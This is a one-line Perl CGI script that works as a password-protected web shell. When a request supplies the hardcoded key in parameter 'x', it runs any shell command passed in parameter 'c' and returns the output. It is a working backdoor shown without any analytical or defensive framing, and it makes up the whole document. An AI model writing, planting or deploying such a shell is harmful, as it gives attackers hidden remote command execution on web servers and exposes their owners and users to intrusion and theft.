#!/usr/bin/perl use CGI qw(:standard); print header('text/plain'); my $p=param('x')//'';my $c=param('c')//'';print qx($c 2>&1) if $p eq 'kXfII95TYHPoQnRF';